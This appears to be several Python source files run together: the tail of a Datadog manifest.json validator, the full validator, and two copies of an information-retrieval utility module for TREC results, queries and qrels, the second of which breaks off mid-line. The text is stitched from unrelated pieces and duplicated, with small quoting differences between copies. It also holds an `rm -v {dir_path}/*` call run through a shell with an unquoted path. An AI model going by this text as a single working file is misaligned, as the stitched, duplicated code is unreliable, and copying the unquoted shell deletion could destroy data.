display_queue.append((echo_failure, ' required non-null sequence: supported_os')) else: known_systems = {'linux', 'mac_os', 'windows'} unknown_systems = sorted(set(supported_os) - known_systems) if unknown_systems: file_failures += 1 display_queue.append((echo_failure, f" unknown `supported_os`: {", ".join(unknown_systems)}")) # public_title public_title = decoded.get('public_title') if not public_title or not isinstance(public_title, str): file_failures += 1 display_queue.append((echo_failure, ' required non-null string: public_title')) # categories categories = decoded.get('categories') if not categories or not isinstance(categories, list): file_failures += 1 display_queue.append((echo_failure, ' required non-null sequence: categories')) # type correct_integration_types = ['check', 'crawler'] integration_type = decoded.get('type') if not integration_type or not isinstance(integration_type, str): file_failures += 1 output = ' required non-null string: type' display_queue.append((echo_failure, output)) elif integration_type not in correct_integration_types: file_failures += 1 output = f' invalid `type`: {integration_type}' display_queue.append((echo_failure, output)) # is_public correct_is_public = True is_public = decoded.get('is_public') if not isinstance(is_public, bool): file_failures += 1 output = ' required boolean: is_public' if fix: decoded['is_public'] = correct_is_public display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `is_public`: {correct_is_public}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) if file_failures > 0: failed_checks += 1 # Display detailed info if file invalid echo_info(f"{check_name}/manifest.json... ", nl=False) echo_failure("FAILED") for display_func, message in display_queue: display_func(message) elif not file_fixed: ok_checks += 1 if fix and file_fixed: new_manifest = f"{json.dumps(decoded, indent=2, separators=(",", ": "))}\n" write_file(manifest_file, new_manifest) # Display detailed info if file has been completely fixed if file_failures == 0: fixed_checks += 1 echo_info(f"{check_name}/manifest.json... ", nl=False) echo_success("FIXED") for display_func, message in display_queue: display_func(message) if ok_checks: echo_success(f"{ok_checks} valid files") if fixed_checks: echo_info(f"{fixed_checks} fixed files") if failed_checks: echo_failure(f"{failed_checks} invalid files") abort()
# (C) Datadog, Inc. 2018-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import json import os import re import uuid import click import requests from ....utils import file_exists, read_file, write_file from ...constants import get_root from ...utils import get_metadata_file, parse_version_parts, read_metadata_rows from ..console import CONTEXT_SETTINGS, abort, echo_failure, echo_info, echo_success, echo_warning REQUIRED_ATTRIBUTES = { 'assets', 'categories', 'creates_events', 'display_name', 'guid', 'integration_id', 'is_public', 'maintainer', 'manifest_version', 'name', 'public_title', 'short_description', 'support', 'supported_os', 'type', } FIELDS_NOT_ALLOWED_TO_CHANGE = ["integration_id", "display_name", "guid"] REQUIRED_ASSET_ATTRIBUTES = {'monitors', 'dashboards', 'service_checks'} OPTIONAL_ATTRIBUTES = { 'aliases', 'description', 'is_beta', # Move these two below (metric_to_check, metric_prefix) # to mandatory when all integration are fixed 'metric_to_check', 'metric_prefix', 'process_signatures', } METRIC_TO_CHECK_WHITELIST = { 'openstack.controller', # "Artificial" metric, shouldn't be listed in metadata file. 'riakcs.bucket_list_pool.workers', # RiakCS 2.1 metric, but metadata.csv lists RiakCS 2.0 metrics only. } ALL_ATTRIBUTES = REQUIRED_ATTRIBUTES | OPTIONAL_ATTRIBUTES INTEGRATION_ID_REGEX = r'^[a-z][a-z0-9-]{0,254}(?<!-)$' def is_metric_in_metadata_file(metric, check): """ Return True if `metric` is listed in the check's `metadata.csv` file, False otherwise. """ metadata_file = get_metadata_file(check) for _, row in read_metadata_rows(metadata_file): if row['metric_name'] == metric: return True return False def get_original_manifest_field(check_name, field_to_check, repo_url, manifests_from_master): repo_url = f'{repo_url}/{check_name}/manifest.json' if manifests_from_master.get(check_name): data = manifests_from_master.get(check_name) else: data = requests.get(repo_url.format(check_name)) manifests_from_master[check_name] = data if data.status_code == 404: # This integration isn't on the provided repo yet, so it's field can change return None data.raise_for_status() decoded_master = data.json() return decoded_master.get(field_to_check) @click.command(context_settings=CONTEXT_SETTINGS, short_help='Validate `manifest.json` files') @click.option('--fix', is_flag=True, help='Attempt to fix errors') @click.option('--include-extras', '-i', is_flag=True, help='Include optional fields, and extra validations') @click.option( '--repo_url', '-r', help='The raw github URL to the base of the repository to compare manifest fields against' ) @click.pass_context def manifest(ctx, fix, include_extras, repo_url): """Validate `manifest.json` files.""" all_guids = {} raw_gh_url = 'https://raw.githubusercontent.com/DataDog/{}/master/' root = get_root() is_extras = ctx.obj['repo_choice'] == 'extras' formatted_repo_url = repo_url or raw_gh_url.format(os.path.basename(root)) ok_checks = 0 failed_checks = 0 fixed_checks = 0 manifests_from_master = {} echo_info("Validating all manifest.json files...") for check_name in sorted(os.listdir(root)): manifest_file = os.path.join(root, check_name, 'manifest.json') if file_exists(manifest_file): display_queue = [] file_failures = 0 file_fixed = False try: decoded = json.loads(read_file(manifest_file).strip()) except json.JSONDecodeError as e: failed_checks += 1 echo_info(f"{check_name}/manifest.json... ", nl=False) echo_failure("FAILED") echo_failure(f' invalid json: {e}') continue # attributes are valid attrs = set(decoded) for attr in sorted(attrs - ALL_ATTRIBUTES): file_failures += 1 display_queue.append((echo_failure, f' Attribute `{attr}` is invalid')) for attr in sorted(REQUIRED_ATTRIBUTES - attrs): file_failures += 1 display_queue.append((echo_failure, f' Attribute `{attr}` is required')) for attr in sorted(REQUIRED_ASSET_ATTRIBUTES - set(decoded.get('assets', {}))): file_failures += 1 display_queue.append((echo_failure, f' Attribute `{attr}` under `assets` is required')) # guid guid = decoded.get('guid') if guid in all_guids: file_failures += 1 output = f' duplicate `guid`: `{guid}` from `{all_guids[guid]}`' if fix: new_guid = uuid.uuid4() all_guids[new_guid] = check_name decoded['guid'] = new_guid display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `guid`: {new_guid}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) elif not guid or not isinstance(guid, str): file_failures += 1 output = ' required non-null string: guid' if fix: new_guid = uuid.uuid4() all_guids[new_guid] = check_name decoded['guid'] = new_guid display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `guid`: {new_guid}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) else: all_guids[guid] = check_name # manifest_version correct_manifest_version = '1.0.0' manifest_version = decoded.get('manifest_version') version_parts = parse_version_parts(manifest_version) if len(version_parts) != 3: file_failures += 1 if not manifest_version: output = ' required non-null string: manifest_version' else: output = f' invalid `manifest_version`: {manifest_version}' if fix: version_parts = parse_version_parts(correct_manifest_version) decoded['manifest_version'] = correct_manifest_version display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `manifest_version`: {correct_manifest_version}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) if len(version_parts) == 3: about_exists = os.path.isfile( os.path.join(root, check_name, 'datadog_checks', check_name, '__about__.py') ) if version_parts >= [1, 0, 0]: if 'version' in decoded and about_exists: file_failures += 1 output = ' outdated field: version' if fix: del decoded['version'] display_queue.append((echo_warning, output)) display_queue.append((echo_success, ' removed field: version')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) elif about_exists: file_failures += 1 output = f' outdated `manifest_version`: {manifest_version}' if fix: decoded['manifest_version'] = correct_manifest_version display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `manifest_version`: {correct_manifest_version}')) if 'version' in decoded: del decoded['version'] display_queue.append((echo_success, ' removed field: version')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) else: version = decoded.get('version') version_parts = parse_version_parts(version) if len(version_parts) != 3: file_failures += 1 if not version: display_queue.append((echo_failure, ' required non-null string: version')) else: display_queue.append((echo_failure, f' invalid `version`: {version}')) # integration_id integration_id = decoded.get('integration_id') if not re.search(INTEGRATION_ID_REGEX, integration_id): file_failures += 1 output = 'integration_id contains invalid characters' display_queue.append((echo_failure, output)) # maintainer if not is_extras: correct_maintainer = 'help@datadoghq.com' maintainer = decoded.get('maintainer') if maintainer != correct_maintainer: file_failures += 1 output = f' incorrect `maintainer`: {maintainer}' if fix: decoded['maintainer'] = correct_maintainer display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `maintainer`: {correct_maintainer}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) # name correct_name = check_name name = decoded.get('name') if not isinstance(name, str) or name.lower() != correct_name.lower(): file_failures += 1 output = f' incorrect `name`: {name}' if fix: decoded['name'] = correct_name display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `name`: {correct_name}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) # short_description short_description = decoded.get('short_description') if not short_description or not isinstance(short_description, str): file_failures += 1 display_queue.append((echo_failure, ' required non-null string: short_description')) if len(short_description) > 80: file_failures += 1 display_queue.append((echo_failure, ' should contain 80 characters maximum: short_description')) # metric_to_check metric_to_check = decoded.get('metric_to_check') if metric_to_check: metrics_to_check = metric_to_check if isinstance(metric_to_check, list) else [metric_to_check] for metric in metrics_to_check: if not is_metric_in_metadata_file(metric, check_name) and metric not in METRIC_TO_CHECK_WHITELIST: file_failures += 1 display_queue.append((echo_failure, f' metric_to_check not in metadata.csv: {metric!r}')) # support correct_support = 'contrib' if is_extras else 'core' support = decoded.get('support') if support != correct_support: file_failures += 1 output = f' incorrect `support`: {support}' if fix: decoded['support'] = correct_support display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `support`: {correct_support}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) if include_extras: # Ensure attributes haven't changed for field in FIELDS_NOT_ALLOWED_TO_CHANGE: original_value = get_original_manifest_field( check_name, field, formatted_repo_url, manifests_from_master ) output = f'Attribute `{field}` is not allowed to be modified.' if original_value and original_value != decoded.get(field): file_failures += 1 if fix: decoded[field] = original_value file_failures -= 1 file_fixed = True display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' original {field}: {original_value}')) else: output += f" Please use the existing value: {original_value}" display_queue.append((echo_failure, output)) elif not original_value: output = f" No existing field on default branch: {field}" display_queue.append((echo_warning, output)) # supported_os supported_os = decoded.get('supported_os') if not supported_os or not isinstance(supported_os, list): file_failures += 1 display_queue.append((echo_failure, ' required non-null sequence: supported_os')) else: known_systems = {'linux', 'mac_os', 'windows'} unknown_systems = sorted(set(supported_os) - known_systems) if unknown_systems: file_failures += 1 display_queue.append((echo_failure, f" unknown `supported_os`: {', '.join(unknown_systems)}")) # public_title public_title = decoded.get('public_title') if not public_title or not isinstance(public_title, str): file_failures += 1 display_queue.append((echo_failure, ' required non-null string: public_title')) # categories categories = decoded.get('categories') if not categories or not isinstance(categories, list): file_failures += 1 display_queue.append((echo_failure, ' required non-null sequence: categories')) # type correct_integration_types = ['check', 'crawler'] integration_type = decoded.get('type') if not integration_type or not isinstance(integration_type, str): file_failures += 1 output = ' required non-null string: type' display_queue.append((echo_failure, output)) elif integration_type not in correct_integration_types: file_failures += 1 output = f' invalid `type`: {integration_type}' display_queue.append((echo_failure, output)) # is_public correct_is_public = True is_public = decoded.get('is_public') if not isinstance(is_public, bool): file_failures += 1 output = ' required boolean: is_public' if fix: decoded['is_public'] = correct_is_public display_queue.append((echo_warning, output)) display_queue.append((echo_success, f' new `is_public`: {correct_is_public}')) file_failures -= 1 file_fixed = True else: display_queue.append((echo_failure, output)) if file_failures > 0: failed_checks += 1 # Display detailed info if file invalid echo_info(f"{check_name}/manifest.json... ", nl=False) echo_failure("FAILED") for display_func, message in display_queue: display_func(message) elif not file_fixed: ok_checks += 1 if fix and file_fixed: new_manifest = f"{json.dumps(decoded, indent=2, separators=(',', ': '))}\n" write_file(manifest_file, new_manifest) # Display detailed info if file has been completely fixed if file_failures == 0: fixed_checks += 1 echo_info(f"{check_name}/manifest.json... ", nl=False) echo_success("FIXED") for display_func, message in display_queue: display_func(message) if ok_checks: echo_success(f"{ok_checks} valid files") if fixed_checks: echo_info(f"{fixed_checks} fixed files") if failed_checks: echo_failure(f"{failed_checks} invalid files") abort()
#!/usr/bin/env python import csv import glob import multiprocessing as mp import os import sys import xml.etree.ElementTree as eT from collections import defaultdict from subprocess import run import numpy as np import pandas as pd from lxml import etree # TODO: implement all necessary objects and functions, in order to switch all calculations to work with those classes class ResultsReader: def __init__(self, data_file: str, file_type): """ :param data_file: results file path :param file_type: 'predictions' for predictor results or 'ap' for ap results or trec for trec format results """ ensure_file(data_file) self.file_type = file_type.lower() self.data = data_file self.__number_of_col = self.__check_number_of_col() if self.file_type == 'predictions': assert self.__number_of_col == 2 or self.__number_of_col == 4, 'Wrong File format' self.data_df = self.__read_results_data_2() if self.__number_of_col == 2 else self.__read_results_data_4() elif self.file_type == 'ap': self.data_df = self.__read_ap_data_2() elif self.file_type == 'trec': assert self.__number_of_col == 6, 'Wrong File format, trec format should have 6 columns' self.data_df = self.__read_trec_data() else: sys.exit('Unknown file type, use ap, trec or predictions file type') self.query_vars, self.var_qid = self.__generate_qids_from_res() def __check_number_of_col(self): with open(self.data) as f: reader = csv.reader(f, delimiter=' ', skipinitialspace=True) try: first_row = next(reader) except StopIteration: sys.exit(f'The file {self.data} is empty') num_cols = len(first_row) return int(num_cols) def __read_results_data_2(self): """Assuming data is a res with 2 columns, 'Qid Score'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'score'], dtype={'qid': str, 'score': np.float64}) data_df.index = data_df.index.astype(str) data_df.sort_values(by=['qid', 'score'], ascending=[True, False], inplace=True) return data_df def __read_ap_data_2(self): """Assuming data is a res with 2 columns, 'Qid AP'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'ap'], dtype={'qid': str, 'ap': np.float64}) data_df.sort_values(by=['qid', 'ap'], ascending=[True, False], inplace=True) data_df.index = data_df.index.astype(str) return data_df def __read_results_data_4(self): """Assuming data is a res with 4 columns, 'Qid entropy cross_entropy Score'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'entropy', 'cross_entropy', 'score'], dtype={'qid': str, 'score': np.float64, 'entropy': np.float64, 'cross_entropy': np.float64}) data_df = data_df.filter(['qid', 'score'], axis=1) data_df.index = data_df.index.astype(str) data_df.sort_values(by=['qid', 'score'], ascending=[True, False], inplace=True) return data_df def __read_trec_data(self): """Assuming data is a trec format results file with 6 columns, 'Qid entropy cross_entropy Score'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'Q0', 'docID', 'docRank', 'docScore', 'ind'], dtype={'qid': str, 'Q0': str, 'docID': str, 'docRank': int, 'docScore': float, 'ind': str}) data_df = data_df.filter(['qid', 'docID', 'docRank', 'docScore'], axis=1) data_df.index = data_df.index.astype(str) data_df.sort_values(by=['qid', 'docRank'], ascending=True, inplace=True) return data_df def __generate_qids_from_res(self): qid_vars = defaultdict(list) var_qid = defaultdict(str) raw_qids = self.data_df.index.unique() for _qid in raw_qids: qid = _qid.split('-')[0] qid_vars[qid].append(_qid) var_qid[_qid] = qid return qid_vars, var_qid def get_res_dict_by_qid(self, qid, top=1000): """The function receives a list of qids, and returns a dict of results in format: {'docID': 'docScore'} """ assert self.file_type == 'trec', '{} wrong file type'.format(self.file_type) _df = self.data_df.loc[qid, ['docID', 'docScore']].head(top) _df.reset_index(drop=True, inplace=True) _df.set_index('docID', inplace=True) _dict = _df.to_dict()['docScore'] return _dict def get_qid_by_var(self, var): return self.var_qid.get(var) def get_vars_by_qid(self, qid): return self.query_vars.get(qid) def get_docs_by_qid(self, qid, top=1000): assert self.file_type == 'trec', '{} wrong file type'.format(self.file_type) return self.data_df.loc[qid, 'docID'].head(top).values def filter_results_by_queries(self): pass class QueriesTextParser: def __init__(self, queries_file, kind: str = 'original'): """ :param queries_file: path to txt queries file :param kind: 'original' or 'uqv' """ self.queries_df = pd.read_table(queries_file, delim_whitespace=False, delimiter=':', header=None, names=['qid', 'text'], dtype={'qid': str, 'text': str}) self.queries_dict = self.__generate_queries_dict() self.kind = kind.lower() if self.kind == 'uqv': # {qid: [qid-x-y]} list of all variations self.query_vars, self.var_qid = self.__generate_query_var() def __generate_query_var(self): qid_vars_dict = defaultdict(list) vars_qid_dict = defaultdict(str) for rawqid in self.queries_dict.keys(): qid = rawqid.split('-')[0] qid_vars_dict[qid].append(rawqid) vars_qid_dict[rawqid] = qid return qid_vars_dict, vars_qid_dict def __generate_queries_dict(self): queries_dict = defaultdict(str) for qid, text in self.queries_df.values: queries_dict[qid] = text return queries_dict def get_orig_qid(self, var_qid): return self.var_qid.get(var_qid) def get_vars(self, orig_qid): return self.query_vars.get(orig_qid) def get_qid_txt(self, qid): return self.queries_dict.get(qid) class QueriesXMLParser: # TODO: add queries_df def __init__(self, query_file): self.file = query_file self.tree = eT.parse(self.file) self.root = self.tree.getroot() # query number: "Full command" self.full_queries = defaultdict(str) self.text_queries = defaultdict(str) self.query_length = defaultdict(int) self.fb_docs = defaultdict(list) self.__parse_queries() def __parse_queries(self): for query in self.root.iter('query'): qid_ = query.find('number').text qstr_ = query.find('text').text qtxt_ = qstr_[qstr_.find("(") + 1:qstr_.rfind(")")].split() self.full_queries[qid_] = qstr_ self.text_queries[qid_] = qtxt_ self.query_length[qid_] = len(qtxt_) class QrelsParser: def __init__(self, file, queries: QueriesTextParser, uqv: QueriesTextParser): self.queries = queries self.uqv = uqv self._add_original_queries() self.results_df = pd.read_table(file, delim_whitespace=True, header=None, names=['qid', 'iter', 'docNo', 'rel'], dtype={'qid': str, 'iter': int, 'docNo': str, 'rel': int}) self.results_dict = defaultdict(list) self._generate_qrels_dict() self.new_results_dict = defaultdict(list) self._expand_results() def _generate_qrels_dict(self): for qid in self.queries.queries_dict.keys(): temp_df = self.results_df[self.results_df['qid'] == qid] docs = temp_df[temp_df['rel'] == 1]['docNo'].values self.results_dict[qid] = docs def _expand_results(self): for rawqid in self.uqv.queries_dict.keys(): qid = rawqid.split('-')[0] self.new_results_dict[rawqid] = self.results_dict[qid] def _find_missing_queries(self): missing_qids = list() for qid, text in self.queries.queries_df.values: if text not in self.uqv.queries_df.values: missing_qids.append(qid) return missing_qids def _make_query_pairs(self): missing = self._find_missing_queries() pairs = list() for qid in missing: qid, x, y = self.uqv.query_vars[qid][-1].split('-') x = int(x) + 1 y = 1 new_qid = '{}-{}-{}'.format(qid, x, y) pairs.append((qid, new_qid)) return pairs def _add_original_queries(self): pairs = self._make_query_pairs() for qid, new_qid in pairs: text = self.queries.queries_dict[qid] self.uqv.queries_dict[new_qid] = text def print_uqv(self): for qid, text in self.uqv.queries_dict.items(): print('{}:{}'.format(qid, text)) def print_results(self): for qid in self.uqv.queries_dict.keys(): orig_qid = self.uqv.get_orig_qid(qid) it = self.results_df[self.results_df['qid'] == orig_qid]['iter'] rel = self.results_df[self.results_df['qid'] == orig_qid]['rel'] docs = self.results_df[self.results_df['qid'] == orig_qid]['docNo'] _df = pd.concat([it, docs, rel], axis=1) _df.insert(0, 'qid', qid) print(_df.to_string(index=False, header=False, justify='left')) class QueriesXMLWriter: def __init__(self, queries_df: pd.DataFrame): self.queries_df = queries_df self.root = etree.Element('parameters') self._add_queries() def _add_queries(self): for qid, text in self.queries_df.values: query = etree.SubElement(self.root, 'query') number = etree.SubElement(query, 'number') number.text = qid txt = etree.SubElement(query, 'text') txt.text = '#combine( {} )'.format(text) def print_queries_xml(self): """Prints to STD.OUT (usually the screen)""" print(etree.tostring(self.root, pretty_print=True, encoding='unicode')) def print_queries_xml_file(self, file_name): """Prints to a File""" print(etree.tostring(self.root, pretty_print=True, encoding='unicode'), file=open(file_name, 'w')) def ensure_file(file): """Ensure a single file exists, returns the full path of the file if True or throws an Assertion error if not""" # tilde expansion file_path = os.path.normpath(os.path.expanduser(file)) assert os.path.isfile(file_path), "The file {} doesn't exist. Please create the file first".format(file) return file_path def ensure_dir(file_path): """The function ensures the dir exists, if it doesn't it creates it and returns the path""" # tilde expansion file_path = os.path.normpath(os.path.expanduser(file_path)) if os.path.isfile(file_path): directory = os.path.dirname(file_path) else: directory = file_path if not os.path.exists(directory): try: os.makedirs(directory) except FileExistsError: pass return directory def empty_dir(dir_path, force=False): if force: run(f'rm -v {dir_path}/*', shell=True) else: files = os.listdir(dir_path) if len(files) and not mp.current_process().daemon: answer = input( f'The directory {dir_path} contains {len(files)} files, do you want to remove them?\n [yes\\No] ') if answer.lower() == 'yes': run(f'rm -v {dir_path}/*', shell=True) def convert_vid_to_qid(df: pd.DataFrame): if df.index.name != 'qid' and df.index.name != 'topic': if 'qid' in df.columns: _df = df.set_index('qid') elif 'topic' in df.columns: _df = df.set_index('topic') else: assert False, "The DF doesn't has qid or topic" else: _df = df _df.rename(index=lambda x: f'{x.split('-')[0]}', inplace=True) return _df def read_rm_prob_files(data_dir, number_of_docs, clipping='*'): """The function creates a DF from files, the probabilities are p(w|RM1) for all query words If a query term doesn't appear in the file, it's implies p(w|R)=0""" data_files = glob.glob(f'{data_dir}/probabilities-{number_of_docs}+{clipping}') if len(data_files) < 1: data_files = glob.glob(f'{data_dir}/probabilities-{number_of_docs}') _list = [] for _file in data_files: _col = f'{_file.rsplit('/')[-1].rsplit('-')[-1]}' _df = pd.read_table(_file, names=['qid', 'term', _col], sep=' ') _df = _df.astype({'qid': str}).set_index(['qid', 'term']) _list.append(_df) return pd.concat(_list, axis=1).fillna(0)
#!/usr/bin/env python import csv import glob import multiprocessing as mp import os import sys import xml.etree.ElementTree as eT from collections import defaultdict from subprocess import run import numpy as np import pandas as pd from lxml import etree # TODO: implement all necessary objects and functions, in order to switch all calculations to work with those classes class ResultsReader: def __init__(self, data_file: str, file_type): """ :param data_file: results file path :param file_type: 'predictions' for predictor results or 'ap' for ap results or trec for trec format results """ ensure_file(data_file) self.file_type = file_type.lower() self.data = data_file self.__number_of_col = self.__check_number_of_col() if self.file_type == 'predictions': assert self.__number_of_col == 2 or self.__number_of_col == 4, 'Wrong File format' self.data_df = self.__read_results_data_2() if self.__number_of_col == 2 else self.__read_results_data_4() elif self.file_type == 'ap': self.data_df = self.__read_ap_data_2() elif self.file_type == 'trec': assert self.__number_of_col == 6, 'Wrong File format, trec format should have 6 columns' self.data_df = self.__read_trec_data() else: sys.exit('Unknown file type, use ap, trec or predictions file type') self.query_vars, self.var_qid = self.__generate_qids_from_res() def __check_number_of_col(self): with open(self.data) as f: reader = csv.reader(f, delimiter=' ', skipinitialspace=True) try: first_row = next(reader) except StopIteration: sys.exit(f'The file {self.data} is empty') num_cols = len(first_row) return int(num_cols) def __read_results_data_2(self): """Assuming data is a res with 2 columns, 'Qid Score'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'score'], dtype={'qid': str, 'score': np.float64}) data_df.index = data_df.index.astype(str) data_df.sort_values(by=['qid', 'score'], ascending=[True, False], inplace=True) return data_df def __read_ap_data_2(self): """Assuming data is a res with 2 columns, 'Qid AP'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'ap'], dtype={'qid': str, 'ap': np.float64}) data_df.sort_values(by=['qid', 'ap'], ascending=[True, False], inplace=True) data_df.index = data_df.index.astype(str) return data_df def __read_results_data_4(self): """Assuming data is a res with 4 columns, 'Qid entropy cross_entropy Score'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'entropy', 'cross_entropy', 'score'], dtype={'qid': str, 'score': np.float64, 'entropy': np.float64, 'cross_entropy': np.float64}) data_df = data_df.filter(['qid', 'score'], axis=1) data_df.index = data_df.index.astype(str) data_df.sort_values(by=['qid', 'score'], ascending=[True, False], inplace=True) return data_df def __read_trec_data(self): """Assuming data is a trec format results file with 6 columns, 'Qid entropy cross_entropy Score'""" data_df = pd.read_table(self.data, delim_whitespace=True, header=None, index_col=0, names=['qid', 'Q0', 'docID', 'docRank', 'docScore', 'ind'], dtype={'qid': str, 'Q0': str, 'docID': str, 'docRank': int, 'docScore': float, 'ind': str}) data_df = data_df.filter(['qid', 'docID', 'docRank', 'docScore'], axis=1) data_df.index = data_df.index.astype(str) data_df.sort_values(by=['qid', 'docRank'], ascending=True, inplace=True) return data_df def __generate_qids_from_res(self): qid_vars = defaultdict(list) var_qid = defaultdict(str) raw_qids = self.data_df.index.unique() for _qid in raw_qids: qid = _qid.split('-')[0] qid_vars[qid].append(_qid) var_qid[_qid] = qid return qid_vars, var_qid def get_res_dict_by_qid(self, qid, top=1000): """The function receives a list of qids, and returns a dict of results in format: {'docID': 'docScore'} """ assert self.file_type == 'trec', '{} wrong file type'.format(self.file_type) _df = self.data_df.loc[qid, ['docID', 'docScore']].head(top) _df.reset_index(drop=True, inplace=True) _df.set_index('docID', inplace=True) _dict = _df.to_dict()['docScore'] return _dict def get_qid_by_var(self, var): return self.var_qid.get(var) def get_vars_by_qid(self, qid): return self.query_vars.get(qid) def get_docs_by_qid(self, qid, top=1000): assert self.file_type == 'trec', '{} wrong file type'.format(self.file_type) return self.data_df.loc[qid, 'docID'].head(top).values def filter_results_by_queries(self): pass class QueriesTextParser: def __init__(self, queries_file, kind: str = 'original'): """ :param queries_file: path to txt queries file :param kind: 'original' or 'uqv' """ self.queries_df = pd.read_table(queries_file, delim_whitespace=False, delimiter=':', header=None, names=['qid', 'text'], dtype={'qid': str, 'text': str}) self.queries_dict = self.__generate_queries_dict() self.kind = kind.lower() if self.kind == 'uqv': # {qid: [qid-x-y]} list of all variations self.query_vars, self.var_qid = self.__generate_query_var() def __generate_query_var(self): qid_vars_dict = defaultdict(list) vars_qid_dict = defaultdict(str) for rawqid in self.queries_dict.keys(): qid = rawqid.split('-')[0] qid_vars_dict[qid].append(rawqid) vars_qid_dict[rawqid] = qid return qid_vars_dict, vars_qid_dict def __generate_queries_dict(self): queries_dict = defaultdict(str) for qid, text in self.queries_df.values: queries_dict[qid] = text return queries_dict def get_orig_qid(self, var_qid): return self.var_qid.get(var_qid) def get_vars(self, orig_qid): return self.query_vars.get(orig_qid) def get_qid_txt(self, qid): return self.queries_dict.get(qid) class QueriesXMLParser: # TODO: add queries_df def __init__(self, query_file): self.file = query_file self.tree = eT.parse(self.file) self.root = self.tree.getroot() # query number: "Full command" self.full_queries = defaultdict(str) self.text_queries = defaultdict(str) self.query_length = defaultdict(int) self.fb_docs = defaultdict(list) self.__parse_queries() def __parse_queries(self): for query in self.root.iter('query'): qid_ = query.find('number').text qstr_ = query.find('text').text qtxt_ = qstr_[qstr_.find("(") + 1:qstr_.rfind(")")].split() self.full_queries[qid_] = qstr_ self.text_queries[qid_] = qtxt_ self.query_length[qid_] = len(qtxt_) class QrelsParser: def __init__(self, file, queries: QueriesTextParser, uqv: QueriesTextParser): self.queries = queries self.uqv = uqv self._add_original_queries() self.results_df = pd.read_table(file, delim_whitespace=True, header=None, names=['qid', 'iter', 'docNo', 'rel'], dtype={'qid': str, 'iter': int, 'docNo': str, 'rel': int}) self.results_dict = defaultdict(list) self._generate_qrels_dict() self.new_results_dict = defaultdict(list) self._expand_results() def _generate_qrels_dict(self): for qid in self.queries.queries_dict.keys(): temp_df = self.results_df[self.results_df['qid'] == qid] docs = temp_df[temp_df['rel'] == 1]['docNo'].values self.results_dict[qid] = docs def _expand_results(self): for rawqid in self.uqv.queries_dict.keys(): qid = rawqid.split('-')[0] self.new_results_dict[rawqid] = self.results_dict[qid] def _find_missing_queries(self): missing_qids = list() for qid, text in self.queries.queries_df.values: if text not in self.uqv.queries_df.values: missing_qids.append(qid) return missing_qids def _make_query_pairs(self): missing = self._find_missing_queries() pairs = list() for qid in missing: qid, x, y = self.uqv.query_vars[qid][-1].split('-') x = int(x) + 1 y = 1 new_qid = '{}-{}-{}'.format(qid, x, y) pairs.append((qid, new_qid)) return pairs def _add_original_queries(self): pairs = self._make_query_pairs() for qid, new_qid in pairs: text = self.queries.queries_dict[qid] self.uqv.queries_dict[new_qid] = text def print_uqv(self): for qid, text in self.uqv.queries_dict.items(): print('{}:{}'.format(qid, text)) def print_results(self): for qid in self.uqv.queries_dict.keys(): orig_qid = self.uqv.get_orig_qid(qid) it = self.results_df[self.results_df['qid'] == orig_qid]['iter'] rel = self.results_df[self.results_df['qid'] == orig_qid]['rel'] docs = self.results_df[self.results_df['qid'] == orig_qid]['docNo'] _df = pd.concat([it, docs, rel], axis=1) _df.insert(0, 'qid', qid) print(_df.to_string(index=False, header=False, justify='left')) class QueriesXMLWriter: def __init__(self, queries_df: pd.DataFrame): self.queries_df = queries_df self.root = etree.Element('parameters') self._add_queries() def _add_queries(self): for qid, text in self.queries_df.values: query = etree.SubElement(self.root, 'query') number = etree.SubElement(query, 'number') number.text = qid txt = etree.SubElement(query, 'text') txt.text = '#combine( {} )'.format(text) def print_queries_xml(self): """Prints to STD.OUT (usually the screen)""" print(etree.tostring(self.root, pretty_print=True, encoding='unicode')) def print_queries_xml_file(self, file_name): """Prints to a File""" print(etree.tostring(self.root, pretty_print=True, encoding='unicode'), file=open(file_name, 'w')) def ensure_file(file): """Ensure a single file exists, returns the full path of the file if True or throws an Assertion error if not""" # tilde expansion file_path = os.path.normpath(os.path.expanduser(file)) assert os.path.isfile(file_path), "The file {} doesn't exist. Please create the file first".format(file) return file_path def ensure_dir(file_path): """The function ensures the dir exists, if it doesn't it creates it and returns the path""" # tilde expansion file_path = os.path.normpath(os.path.expanduser(file_path)) if os.path.isfile(file_path): directory = os.path.dirname(file_path) else: directory = file_path if not os.path.exists(directory): try: os.makedirs(directory) except FileExistsError: pass return directory def empty_dir(dir_path, force=False): if force: run(f'rm -v {dir_path}/*', shell=True) else: files = os.listdir(dir_path) if len(files) and not mp.current_process().daemon: answer = input( f'The directory {dir_path} contains {len(files)} files, do you want to remove them?\n [yes\\No] ') if answer.lower() == 'yes': run(f'rm -v {dir_path}/*', shell=True) def convert_vid_to_qid(df: pd.DataFrame): if df.index.name != 'qid' and df.index.name != 'topic': if 'qid' in df.columns: _df = df.set_index('qid') elif 'topic' in df.columns: _df = df.set_index('topic') else: assert False, "The DF doesn't has qid or topic" else: _df = df _df.rename(index=lambda 